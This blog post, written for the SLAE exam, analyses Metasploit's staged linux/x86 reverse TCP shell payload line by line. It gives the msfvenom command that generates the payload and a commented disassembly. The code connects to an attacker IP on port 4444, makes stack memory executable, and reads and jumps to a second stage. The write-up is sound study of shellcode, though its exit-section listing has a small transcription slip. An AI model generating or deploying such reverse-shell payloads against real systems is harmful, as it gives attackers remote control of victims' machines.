SLAE Exam 5 Shellcode Analysis - Part 3

5 minute read

Now, we’re cooking! We previously looked at two MSF payloads, read_file and the staged version of a bind_tcp shell. Now, we will look at one of the most commonly used MSF payloads out there: the staged reverse tcp shell. I’m assuming it will be very similar to the staged bind tcp shell, but who knows. There’s only one way to find out!

Problem Statement

  • Take up at least 3 shellcode samples created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

I’ve already hyped up the fact that we’ll be taking a look at msfvenom’s linux/x86/shell/reverse_tcp payload. If you missed part one or part two, I highly recommend going back and reading that. Once you’re all caught up, rejoin us below!

Generating the Files

We’ll quickly get started by generating our raw and disassembled files.

[email protected]:~/courses/slae/exam/assignment5# msfvenom -p linux/x86/shell/reverse_tcp -a x86 --platform linux > staged_reverse_shell.raw

[email protected]:~/courses/slae/exam/assignment5# ndisasm -b 32 staged_reverse_shell.raw > staged_reverse_shell_analyzed.nasm

Analysis

It’s time to dig through the assembly. My guess was right, in that this is very similar to the bind tcp shell we looked at in part two, and I’ll prove it to you right… now!

Make the Socket

00000000      xor ebx,ebx             ; Clear EBX
00000002      mul ebx                 ; Clear EAX, EDX
00000004      push ebx                ; [0x0]
00000005      inc ebx                 ; set ebx to 1 (SYS_SOCKET)
00000006      push ebx                ; [0x1, 0x0]
00000007      push byte +0x2          ; [0x2, 0x1, 0x0]
00000009      mov al,0x66             ; SYSCALL(0x66) // man 2 socketcall
0000000B      mov ecx,esp             ; mov *args into ecx
0000000D      int 0x80                ; socketcall(1, *esp) -> socket(2, 1, 0) -> socket(AF_INET, SOCK_STREAM, 0) (see Assignment 1 for details)

This is pretty standard. We are just creating a TCP socket for use. If you have trouble understanding the comments, review parts one and two of this series. If you still have trouble, please leave a comment below!

Connect to Attacker

0000000F      test eax,eax            ; Ensure EAX is not negative
00000011      js 0x57                 ; If EAX < 0, exit
00000013      xchg eax,edi            ; Move socket fd (SOCKFD) to EDI
00000014      pop ebx                 ; Put 0x2 into ebx // [0x1, 0x0]
00000015      push dword 0x81caa8c0   ; [0x81caa8c0, 0x1, 0x0] // IP Address (192.168.202.129)
0000001A      push dword 0x5c110002   ; [0x5c110002, 0x81caa8c0, 0x1, 0x0] // sin_port and sin_family (4444, 0x0002)
0000001F      mov ecx,esp             ; ecx -> [0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000021      push byte +0x66         ; prepare for syscall
00000023      pop eax                 ; SYSCALL(0x66) // man 2 socketcall
00000024      push eax                ; [0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000025      push ecx                ; [*(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000026      push edi                ; [SOCKFD, *(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000027      mov ecx,esp             ; ecx -> [SOCKFD, *(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000029      inc ebx                 ; EBX = 0x3 (SYS_CONNECT)
0000002A      int 0x80                ; socketcall(3, [SOCKFD, *(0x5c110002, 0x81caa8c0, 0x1, 0x0)])

Here we tell our newly created socket to connect to our attacker’s machine. In my case, I gave msfvenom no arguments, so it automatically used an RHOST value of my local IP 192.168.202.129, and a port of 4444. Good to know!

Mark Memory for Staged Shellcode

0000002C      test eax,eax            ; Check if return value was negative
0000002E      js 0x57                 ; If negative, jump to exit
00000030      mov dl,0x7              ; edx = 0x7
00000032      mov ecx,0x1000          ; ecx = 0x1000
00000037      mov ebx,esp             ; ebx = [SOCKFD, *(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000039      shr ebx,byte 0xc        ; align ebx to a page
0000003C      shl ebx,byte 0xc        ; by clearing last 12 bits of ebx
0000003F      mov al,0x7d             ; SYSCALL(125)
00000041      int 0x80                ; mprotect(ebx, 0x1000, 7) -> make 0x1000 bytes at the stack RWX

This is doing the same thing it did with the bind tcp shell. It marks a page of memory on our stack as RWX, so that we can place our staged payload there and run it.

Read Staged Shellcode into Memory

00000043      test eax,eax            ; Test for negative return code
00000045      js 0x57                 ; If negative, jump to exit
00000047      pop ebx                 ; EBX = SOCKFD // [*(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
00000048      mov ecx,esp             ; ECX -> [*(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0]
0000004A      cdq                     ; clear EDX (by extending sign bit of eax to edx)
0000004B      mov dh,0xc              ; EDX = 0xC00
0000004D      mov al,0x3              ; SYSCALL(0x3) // man 2 read
0000004F      int 0x80                ; read(SOCKFD, ECX (STACK), 0x00000C00)

Here, we receive our staged shellcode from the attacker’s machine, and store it on the stack.

Jump to Staged Shellcode

00000051      test eax,eax            ; Test for negative return code
00000053      js 0x57                 ; If negative, jump to exit
00000055      jmp ecx                 ; If it wasn't, jump to ECX which contains our staged shellcode

Finally, as long as no errors have occurred, we are ready to pass execution to the stack, where our staged payload sits awaiting execution.

Exit Due to Failure

00000057      mov, 0x1                ; SYSCALL(0x1) // man 2 exit
0000005C      mov, 0x1                ; return code of 1 (error because staged shellcode didn't make it)
00000061      int 0x80                ; exit(1)

This section of code is mentioned throughout this payload. If at any point, a function returns a negative value in EAX, the payload will jump to this section, causing an exit with a return code of 1, indicating something went wrong.

Wrapping Up

The linux/x86/shell/reverse_tcp payload was very similar to the bind_tcp payload as predicted. One of the key differences here was the fact that the reverse_tcp payload does a lot more to check for errors, which was interesting to see. In any case, I hope you learned as much as I did throughout this exercise, and I encourage you to walk through this process on a different payload. I’d love to hear about what you find or what payloads you choose to analyze! So leave a comment below, and until next time, happy hacking!

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1158


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